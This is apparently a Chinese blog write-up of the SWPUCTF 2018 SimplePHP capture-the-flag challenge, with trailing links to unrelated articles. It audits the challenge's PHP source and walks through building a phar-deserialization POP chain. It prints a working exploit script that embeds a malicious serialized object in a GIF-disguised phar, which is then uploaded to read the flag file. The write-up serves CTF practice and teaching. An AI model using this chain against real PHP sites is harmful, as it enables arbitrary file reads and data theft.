• [SWPUCTF 2018]SimplePHP


    前言:

    算是比较简单的pop链构造。

    考点:

    phar 触发反序列化。

    代码审计

    解题:

    进入环境:点击查看文件:

     看到url /file.php?file=

    猜测有任意文件下载。输入/file.php?file=file.php得到源码:

    1. header("content-type:text/html;charset=utf-8");
    2. include 'function.php';
    3. include 'class.php';
    4. ini_set('open_basedir','/var/www/html/');
    5. $file = $_GET["file"] ? $_GET['file'] : "";
    6. if(empty($file)) {
    7. echo "

      There is no file to show!

      ";

    8. }
    9. $show = new Show();
    10. if(file_exists($file)) {
    11. $show->source = $file;
    12. $show->_show();
    13. } else if (!empty($file)){
    14. die('file doesn\'t exists.');
    15. }
    16. ?>

    既然包含了 function.php 和class.php  那就下载下来审计一下

    class.php

    1. class C1e4r
    2. {
    3. public $test;
    4. public $str;
    5. public function __construct($name)
    6. {
    7. $this->str = $name;
    8. }
    9. public function __destruct()
    10. {
    11. $this->test = $this->str;
    12. echo $this->test;
    13. }
    14. }
    15. class Show
    16. {
    17. public $source;
    18. public $str;
    19. public function __construct($file)
    20. {
    21. $this->source = $file; //$this->source = phar://phar.jpg
    22. echo $this->source;
    23. }
    24. public function __toString()
    25. {
    26. $content = $this->str['str']->source;
    27. return $content;
    28. }
    29. public function __set($key,$value)
    30. {
    31. $this->$key = $value;
    32. }
    33. public function _show()
    34. {
    35. if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
    36. die('hacker!');
    37. } else {
    38. highlight_file($this->source);
    39. }
    40. }
    41. public function __wakeup()
    42. {
    43. if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    44. echo "hacker~";
    45. $this->source = "index.php";
    46. }
    47. }
    48. }
    49. class Test
    50. {
    51. public $file;
    52. public $params;
    53. public function __construct()
    54. {
    55. $this->params = array();
    56. }
    57. public function __get($key)
    58. {
    59. return $this->get($key);
    60. }
    61. public function get($key)
    62. {
    63. if(isset($this->params[$key])) {
    64. $value = $this->params[$key];
    65. } else {
    66. $value = "index.php";
    67. }
    68. return $this->file_get($value);
    69. }
    70. public function file_get($value)
    71. {
    72. $text = base64_encode(file_get_contents($value));
    73. return $text;
    74. }
    75. }

    function.php

    1. //show_source(__FILE__);
    2. include "base.php";
    3. header("Content-type: text/html;charset=utf-8");
    4. error_reporting(0);
    5. function upload_file_do() {
    6. global $_FILES;
    7. $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    8. //mkdir("upload",0777);
    9. if(file_exists("upload/" . $filename)) {
    10. unlink($filename);
    11. }
    12. move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    13. echo '';
    14. }
    15. function upload_file() {
    16. global $_FILES;
    17. if(upload_file_check()) {
    18. upload_file_do();
    19. }
    20. }
    21. function upload_file_check() {
    22. global $_FILES;
    23. $allowed_types = array("gif","jpeg","jpg","png");
    24. $temp = explode(".",$_FILES["file"]["name"]);
    25. $extension = end($temp);
    26. if(empty($extension)) {
    27. //echo "

      请选择上传的文件:" . "

      ";

    28. }
    29. else{
    30. if(in_array($extension,$allowed_types)) {
    31. return true;
    32. }
    33. else {
    34. echo '';
    35. return false;
    36. }
    37. }
    38. }
    39. ?>

    upload_file.php

    1. //upload_file.php
    2. include 'function.php';
    3. upload_file();
    4. ?>

    看到 function.php 包含了base.php 也下载下来,原来是首页源码,但是有flag in flag.php。

    试着下载flag.php(肯定没那么简单),果然 不行

    老老实实审计一下 ,主代码是 class.php, 一般来审计 反序列化的题都要先看出口,也就是能够利用的点。 我们看到class.php的下面有个file_get_contents()函数:

    而这个函数是file_get定义的。 看看哪里调用了file_get:

     这里 是get 函数 调用了file_get , 这里传入了一个$key 把他当作 params的值。传给file_get

    再继续往上看,看看谁调用了 get。

     这里 有个 魔术方法 __get  调用了get。

    那么如何触发 魔术方法 __get 呢?

    在 php 面向对象编程中,类的成员属性被设定为 private 后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法 __get()。

    也就是说 如果 Test 类中 没有这个属性或者设为private 会触发这个方法。那么看看上面,哪里能够触发   __get,看到Class 类中的__toString方法:

     如果 这里的 $this ->str['str'] 是Test 类,那么Test 类中没有 source这个属性,就会触发__get 方法。

    那么又该怎么触发__toString方法呢? __toString函数触发条件:

    __toString()  是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法 

    所以看到 C1e4r 类中的 __destruct()

     这里的 str 赋值给了 test ,然后 echo  了 这个test ,如果 str 是一个类对象,那么echo 一个类对象 就会触发了 __toString 方法。

    那么整理一下这个pop 链就是:

    __destrust  -> echo 类对象  => __toString() ->$Test->source => __get() =>get =>file_get =>flag

    生成phar代码:

    1. class C1e4r{
    2. public $test;
    3. public $str;
    4. }
    5. class Show
    6. {
    7. public $source;
    8. public $str;
    9. }
    10. class Test
    11. {
    12. public $file;
    13. public $params;
    14. }
    15. $cle4r = new C1e4r();
    16. $show = new Show();
    17. $test = new Test();
    18. $test->params['source']='/var/www/html/f1ag.php';
    19. $show->str['str']=$test;
    20. $cle4r->str=$show;
    21. $phar = new Phar("phar.phar");
    22. $phar->startBuffering();
    23. $phar->setStub("GIF89a");
    24. $phar->setMetadata($cle4r);
    25. $phar->addFromString("exp.txt", "test");
    26. $phar->stopBuffering();
    27. ?>

    这里生成好上传。 抓包后缀 改成 jpg 后缀。注意这里:

    上传的文件名字 和 ip 地址 进行了 md5 加密。所以生成我们上传应该访问的文件名为:

    1. $b="phar.jpg";
    2. $a=md5($b."你题目的ip地址").".jpg";
    3. echo $a;

    上传之后读取:

     base64解密即是flag

    总结:

    phar 和 反序列化还是要多刷下,毕竟逻辑感还是很强的。

  • 相关阅读:
    bilibili面经
    THREE.JS实现看房自由(VR看房)
    c# 二维图形绘制实践
    阿里云ack集群升级流程
    移动端click事件、touch事件、tap事件的区别
    Linux 访问进程地址空间函数 access_process_vm
    WSL2-ubuntu18.04配置笔记 :6Rstudioserver配置
    【毕业设计】基于SSM的新闻管理系统
    密码学在 Web3 钱包中的应用:私钥是什么?bitget钱包为例
    【广州华锐互动】VR内容创作工具极大地丰富了现代教学内容和形式
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126715715